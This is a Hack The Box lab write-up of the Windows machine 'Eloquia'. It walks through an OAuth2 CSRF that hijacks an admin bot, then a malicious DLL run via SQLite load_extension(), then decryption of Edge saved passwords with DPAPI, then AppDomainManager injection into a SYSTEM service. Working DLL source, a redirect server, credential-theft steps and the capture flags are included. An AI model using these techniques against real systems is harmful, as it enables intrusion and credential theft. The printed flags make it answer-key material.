Nmap scan of the Eloquia machine showing IIS and WinRM ports

Hack The Box - Eloquia

Name: Eloquia
OS: Windows
Difficulty: Insane
Platform: Hack The Box
Date: 2026-09-08
Views: 4
Tags:

Eloquia — HTB Writeup (Windows, Insane)

Machine: Eloquia · #815 · Windows Server 2019 · Insane · 50 pts Released: 2025-12-13 (Season 9 weekly) · https://app.hackthebox.com/machines/eloquia


Overview

Eloquia is a long, surgical chain on Windows. There is no single "bug" — there are six or seven medium-difficulty steps stacked on each other:

  1. OAuth2 CSRF on a Django blog with a genuine-looking Google-parody OAuth provider (qooqle.htb). The authorization flow lacks the state parameter, so an attacker can make the admin bot bind an attacker-controlled OAuth identity to the admin account.
  2. Admin → RCE: the admin Django panel has a SQL Explorer with SQLite load_extension() enabled, and an article banner field is an unvalidated FileField. A raw PE DLL goes in as a "banner" and SELECT load_extension(...) runs it → RCE as eloquia\web.
  3. Credential theft: the headless Edge browser (run as web) has saved logins. We unwrap Edge's AES-GCM master key with DPAPI (as web) and get Olivia.KAT's password → evil-winrm.
  4. PrivEsc to SYSTEM: the Failure2Ban .NET service runs as SYSTEM. A writable Failure2Ban.exe.config + a crafted AppDomainManager assembly + a scheduled auto-Restart-Service hands us SYSTEM.

Every credential literal is redacted below.


Recon

A full port scan shows just two exposed services:

Nmap Only 80/tcp (IIS 10.0) and 5985/tcp (WinRM) are exposed.

nmap -sV -sC -p- --min-rate=2000 -T4 10.129.244.81
# 80/tcp   Microsoft IIS httpd 10.0  -> 301 Location: http://eloquia.htb/
# 5985/tcp Microsoft-HTTPAPI/2.0     (WinRM)

The redirect gives the first hostname; the app's own OAuth links reveal the second:

Vhost discovery

echo "10.129.244.81 eloquia.htb qooqle.htb" | sudo tee -a /etc/hosts
VHost Role
eloquia.htb Django blogging platform (Grappelli admin, SQLite db.sqlite3, AngularJS 1.8.2) behind IIS + ARR reverse proxy
qooqle.htb mock Google OAuth2 provider (django-oauth-toolkit)

Key endpoints found by browsing:

Endpoint Purpose
`/accounts/register login/`
/accounts/oauth2/qooqle/authorize/ start the OAuth flow
/accounts/oauth2/qooqle/callback/ OAuth callback
/article/report/<id>/ report an article — an admin bot then visits it
/accounts/admin/ Django admin (admin only)
/dev/sql-explorer/play/ Django SQL Explorer (admin only)

The OAuth client is hard-coded: client_id=riQBUy…4zHIi and a fixed redirect_uri back to Eloquia. The article comment section renders HTML with $sce.trustAsHtml() inside an Angular 1.8.2 scope — a CSTI surface — but the useful entry point this time is the callback rebinding behaviour.


Foothold — OAuth2 CSRF → admin

The flaw

The Eloquia → Qooqle OAuth flow never sends a state parameter. That is the CSRF defence in OAuth2, and its absence means a cross-site request can alter the account linkage. The decisive behaviour of /accounts/oauth2/qooqle/callback/:

Scenario Result
Logged-in browser + a code not bound to anyone binds that Qooqle identity to the current Eloquia user
Not logged in + a code bound to someone logs in as that Eloquia user

So: if we make the admin's browser hit the callback with our Qooqle code, Qooqle attack99 becomes a login alias for the admin user.

The admin bot as the browser

The "Report Article" button (/article/report/<id>/) puts the article in a queue that a Selenium bot drains. The bot runs headless Chrome as the web user, is logged into Eloquia as admin, and visits the reported article. We already proved the report is recorded (it sets a Django messages cookie). We also use an article body the author fully controls, but a plain meta-refresh inside a <body> is not navigated by Chrome… unless we put the redirect in the article and Chrome still needs it in the head.

Confirmed working on-box: an in-body <meta http-equiv="refresh" content="0;url=http://ATTACKER:8888/link"> did make the bot navigate (the bot's Chrome followed it). We simply pointed the refresh at a redirect server of ours instead of a kill-chain page:

<meta http-equiv="refresh" content="0;url=http://10.10.14.10:8888/link">

There is a second, documented alt-path: the AngularJS CSTI payload (ng-focus + autofocus) that stashes document.cookie into a comment via the already-wired submitForm(), because Eloquia's sessionid has no HttpOnly. See exploit/csti_cookie_thief.txt. The OAuth-CSRF bind below is the cleaner route and the one used here.

Firing the code with a fresh code

OAuth authorization codes expire in seconds. So our redirect server (:8888) holds our own Qooqle session and, on /link, mints a fresh code server-side and answers with a 302 back into the Eloquia callback:

OAuth callback bind

# oauth_redirect_server.py — GET /link
data = {  # our Qooqle session approves the authorization
    'csrfmiddlewaretoken': csrf, 'redirect_uri': REDIRECT, 'scope': 'read write',
    'response_type': 'code', 'client_id': CLIENT_ID, 'allow': 'Authorize', ...}
loc = s.post(authurl, data=data).headers['Location']     # -> ?code=XXXX
send_302(f"{REDIRECT_URI}?code={loc.split('code=',1)[1]}")  # -> Eloquia callback

Timeline from the server log:

09:08:09 GET /link from 10.129.244.81        <- admin bot arrives
09:08:10 authorize POST -> 302 ?code=RWNkSlP…
09:08:10 redirecting to Eloquia callback code=…

The admin bot's browser (still logged in as admin) lands on the callback → attack99 is bound to admin.

Result

Log in to Eloquia through Qooqle with our own account:

GET /accounts/oauth2/qooqle/authorize/   # approve as attack99 -> code
GET /accounts/oauth2/qooqle/callback/?code=<code>
curl -b session http://eloquia.htb/accounts/profile/
# name="username" value="admin"     <- we are admin

Django admin and SQL Explorer are now reachable.


RCE as web — DLL via article banner + SQLite load_extension()

Uploading a DLL

Three upload paths exist; they behave differently:

Path Validation Accepts a DLL?
/accounts/upload_profile_image/ Pillow + custom "malicious behaviour" check
admin user image field Django ImageField (Pillow) + extension whitelist
admin article banner field plain FileField, no validation, filename kept

So upload a 64-bit PE DLL as an article's banner → it lands at static/assets/images/blog/<name>.dll and IIS serves it back.

// rce_dll.c
__declspec(dllexport) int sqlite3_extension_init() { return 0; }
BOOL WINAPI DllMain(HINSTANCE h, DWORD r, LPVOID l) {
    if (r == DLL_PROCESS_ATTACH)
        system("cmd /c whoami > static\\assets\\images\\blog\\out.txt 2>&1");
    return TRUE;
}
x86_64-w64-mingw32-gcc -shared -o evil.dll rce_dll.c -Wl,--subsystem,windows

Executing it in SQL Explorer

The SQL Explorer (/dev/sql-explorer/play/) runs an arbitrary SQLite query against connection default with load_extension() enabled:

SQL Explorer load_extension

SELECT load_extension('static/assets/images/blog/evil.dll');

LoadLibrary runs DllMain before the entry point is ever checked, so any DLL's constructor code executes. Then:

curl http://eloquia.htb/static/assets/images/blog/out.txt
# eloquia\web

RCE as eloquia\web.

Gotcha: load_extension loads a module once per process — a same-named DLL will not re-run DllMain. Use a fresh filename per command (uflag.dll, rl.exe…). Each new command uploads a new banner DLL.

user flag

A fresh uflag.dll reads the desktop flag:

system("cmd /c type C:\\Users\\web\\Desktop\\user.txt > static\\assets\\images\\blog\\uf.txt 2>&1");
curl http://eloquia.htb/static/assets/images/blog/uf.txt
# 2fa69…5fc6   -> loot/user.txt

Credential theft — Edge DPAPI → Olivia.KAT

Selenium runs Microsoft Edge under the web profile, so its saved logins belong to web. We copy Login Data and Local State, but decryption needs the DPAPI master key, which is only available to the owning account. So we run a decrypting DLL as web.

Chromium "v10" password blob format:

[3 bytes "v10"] [12 bytes nonce/IV] [ciphertext + 16 bytes GCM tag]

The AES master key sits in Local State → os_crypt.encrypted_key (base64, the "DPAPI" blob after the 5-byte DPAPI prefix), wrapped with the DPAPI user key.

Edge DPAPI master key

// edge_dpapi_key.c (runs as web via load_extension)
// 1. read Local State, find "encrypted_key":"BASE64"
// 2. base64-decode -> strip 5-byte "DPAPI" prefix
// 3. CryptUnprotectData()   -> 32-byte AES key
// 4. hex-encode key to static\assets\images\blog\mk.txt
curl http://eloquia.htb/static/assets/images/blog/mk.txt
# c7f1ad7b079947b4bb1dc53b8740440651b6c9f5caf7fd9a18bbece57c7bd444

Now that the key is out, decrypt the blobs locally (AES-256-GCM):

from cryptography.hazmat.primitives.ciphers.aead import AESGCM
# for each logins row: nonce=pw[3:15], tag=ct[-16:], aes.decrypt(nonce, ct, None)
Origin URL Username Password
http://eloquia.htb/accounts/login/ Olivia.KAT redacted → loot/credentials.md
https://chatgpt.com/ olivia.kat redacted

WinRM:

evil-winrm -i 10.129.244.81 -u 'Olivia.KAT' -p '<redacted>'
# *Evil-WinRM* PS C:\Users\Olivia.KAT\Documents>

Olivia.KAT is only in Remote Management Use + Users, i.e. a non-admin WinRM user — exactly the intended pivot.


Privilege Escalation — AppDomainManager injection → SYSTEM

The writable service

Failure2Ban is a .NET service that runs as NT AUTHORITY\SYSTEM. From the WinRM shell:

reg query HKLM\SYSTEM\CurrentControlSet\Services\Failure2Ban
#  ImagePath  C:\Program Files\Qooqle IPS Software\Failure2Ban - Prototype\...
#  ObjectName LocalSystem
icacls "...\Failure2Ban - Prototype\Failure2Ban\bin\Debug"
# ELOQUIA\Olivia.KAT:(I)(OI)(CI)(RX,W)      <- we can write the whole folder

A scheduled task (Automation Scripts\FW-Cleaner.ps1) runs as SYSTEM and does, every few minutes:

Restart-Service Failure2Ban
rm "...\bin\Debug\version.dll"

So the service is restarted automatically, which re-reads Failure2Ban.exe.config. Because we can write into the folder — including that config — we can inject a CLR AppDomainManager.

The AppDomainManager

A .NET AppDomainManager is instantiated by the CLR before Main() for the process that owns the config, i.e. before any app code can stop it. No strong-name is required when the assembly is local.

# (CLM-safe) write EvilManager.cs + config via Set-Content / certutil
& C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /nologo /target:library \
    /out:EvilManager3.dll EvilManager3.cs
Copy-Item NewConfig.config Failure2Ban.exe.config -Force   # backup .bak first
// EvilManager.cs — runs as SYSTEM on next service start
public override void InitializeNewDomain(AppDomainSetup info) {
    base.InitializeNewDomain(info);
    // find root.txt, copy to the web-reachable static dir
    string outPath = @"C:\Web\Eloquia\static\assets\images\blog\ROOTFLAG.txt";
    // search C:\Users\Administrator\Desktop\root.txt (fallback recursive search)
    if (found != null) File.Copy(found, outPath, true);
    Process.Start("net.exe", "localgroup Administrators Olivia.KAT /add"); // backup
}
<!-- Failure2Ban.exe.config (appended <runtime>) -->
<configuration>
  <runtime>
    <appDomainManagerAssembly value="EvilManager3, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null"/>
    <appDomainManagerType value="EvilDomainManager.EvilManager"/>
  </runtime>
</configuration>

AppDomainManager → SYSTEM

Wait for FW-Cleaner.ps1 to Restart-Service Failure2Ban (~a few minutes). The new service process loads our AppDomainManager as SYSTEM, copies root.txt into the web tree, and adds us to Administrators.

curl http://eloquia.htb/static/assets/images/blog/ROOTFLAG.txt
# 9ee53ecf9155bc944d384d8cd7a9b7ea   -> loot/root.txt

Flags

🏁 user.txt: 2fa699459daa73fad357e2551f5a5fc6 (in loot/user.txt) 🏁 root.txt: 9ee53ecf9155bc944d384d8cd7a9b7ea (in loot/root.txt)


Modern Takeaways

  • OAuth without state is a CSRF. The whole admin foothold came from one missing random token. Never ship an authorization flow without it (nonces/PKCE for confidential flows too).
  • A "QA/admin bot" is a browser with the highest-privilege session. It will navigate attacker-influenced content; treat every user-facing "report/review" surface as an attack against that bot.
  • Unvalidated FileFields are an upload bug. The same admin panel used Pillow-validation on one image field and no validation on the article banner — check every field individually.
  • load_extension is a function, not a keyword. SQL blacklists that block INSERT/CREATE miss a callable that runs native code. Same principle as VACUUM/PRAGMA / stored-procedure abuse.
  • Edge/Chrome saved passwords are only as safe as DPAPI. If you can run code as the owning user, CryptUnprotectData gives you the AES master key.
  • .exe.config is code. A writable config beside a SYSTEM service that gets auto-restarted is an AppDomainManager injection — a low-friction alternative to binary hijacking when binary replacement is too slow/racy.

Files

  • exploit/oauth_redirect_server.py/link server: mints fresh Qooqle auth codes on demand and 302s the victim into the Eloquia callback (the bot-bind).
  • exploit/create_redirect_article.py — creates the article whose body is the <meta http-equiv=refresh> redirect to the server.
  • exploit/csti_cookie_thief.txt — alternative AngularJS 1.8.2 CSTI payload.
  • exploit/upload_dll_add.py, exploit/replace_banner_dll.py — push a DLL through the admin article banner field.
  • exploit/rce_dll.c, exploit/edge_dpapi_key.c — DLLs (RCE + DPAPI key dump).
  • exploit/EvilManager.cs, exploit/Failure2Ban.exe.config.appdomain — AppDomainManager systemd injection for SYSTEM.
  • recon/ — the full nmap outputs.
  • loot/ — flags + recovered credentials (gitignored).
  • screenshots/0[1-6]-*.png — one screenshot per phase.
  • content/ — social drafts.